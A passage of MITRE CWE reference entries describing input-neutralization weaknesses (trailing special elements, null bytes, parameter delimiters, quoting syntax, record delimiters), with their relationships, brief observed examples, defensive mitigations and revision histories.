2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Multiple Leading Special Elements
2009-05-27Failure to Sanitize Multiple Leading Special Elements
2010-04-05Improper Sanitization of Multiple Leading Special Elements

CWE-163: Improper Neutralization of Multiple Trailing Special Elements

Weakness ID: 163
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
+ Extended Description
As data is parsed, improperly handled multiple trailing special elements may cause the process to take unexpected actions that result in an attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.162Improper Neutralization of Trailing Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.43Path Equivalence: 'filename....' (Multiple Trailing Dot)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.52Path Equivalence: '/multiple/trailing/slash//'
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Directory listings in web server using multiple trailing slash
Multiple trailing dot allows directory listing
+ Potential Mitigations
Developers should anticipate that multiple trailing special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMultiple Trailing Special Elements
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Description, Name, Relationships
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Multiple Trailing Special Elements
2009-05-27Failure to Sanitize Multiple Trailing Special Elements
2010-04-05Improper Sanitization of Multiple Trailing Special Elements

CWE-158: Improper Neutralization of Null Byte or NUL Character

Weakness ID: 158
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.
+ Extended Description
As data is parsed, an injected NUL character or null byte may cause the product to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
NUL byte in theme name causes directory traversal impact to be worse
Source code disclosure using trailing null.
Source code disclosure using trailing null.
Trailing null allows file include.
Null character in MIME header allows detection bypass.
Web server allows remote attackers to view the source code for CGI programs via a null character (%00) at the end of a URL.
Web server earlier allows allows remote attackers to bypass access restrictions, list directory contents, and read source code by inserting a null character (%00) in the URL.
Logging system allows an attacker to cause a denial of service (hang) by causing null bytes to be placed in log messages.
Web server allows source code for executable programs to be read via a null character (%00) at the end of a request.
Protection mechanism for limiting file access can be bypassed using a null character (%00) at the end of the directory name.
Application server allows remote attackers to read JSP source code via an encoded null byte in an HTTP GET request, which causes the server to send the .JSP file unparsed.
XSS protection mechanism only checks for sequences with an alphabetical character following a (<), so a non-alphabetical or null character (%00) following a < may be processed.
Decoding function in proxy allows regular expression bypass in ACLs via URLs with null characters.
Null byte bypasses PHP regexp check (interaction error).
Null byte bypasses PHP regexp check (interaction error).
+ Potential Mitigations
Developers should anticipate that null characters or null bytes will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can be a factor in multiple interpretation errors, other interaction errors, filename equivalence, etc.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERNull Character / Null Byte
WASC28Null Byte Injection
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "NUL Character Injection", Page 411. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Null Character / Null Byte
2008-04-11Failure to Remove Null Character / Null Byte
2010-04-05Failure to Sanitize Null Byte or NUL Character

CWE-141: Improper Neutralization of Parameter/Argument Delimiters

Weakness ID: 141
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component.
+ Extended Description
As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.140Improper Neutralization of Delimiters
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Attacker inserts field separator into input to specify admin privileges.
+ Potential Mitigations
Developers should anticipate that parameter/argument delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERParameter Delimiter
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "IFS", Page 604. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Parameter Delimiter
2010-04-05Failure to Sanitize Parameter/Argument Delimiters

CWE-149: Improper Neutralization of Quoting Syntax

Weakness ID: 149
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Quotes injected into a product can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Database allows remote attackers to cause a denial of service (application crash) via a MATCH AGAINST query with an opening double quote but no closing double quote.
MIE. MFV too? bypass AV/security with fields that should not be quoted, duplicate quotes, missing leading/trailing quotes.
+ Potential Mitigations
Developers should anticipate that quotes will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERQuoting Element
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Quoting Element
2008-04-11Failure to Remove Quoting Element
2010-06-21Failure to Sanitize Quoting Syntax

CWE-143: Improper Neutralization of Record Delimiters

Weakness ID: 143
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component.
+ Extended Description
As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.
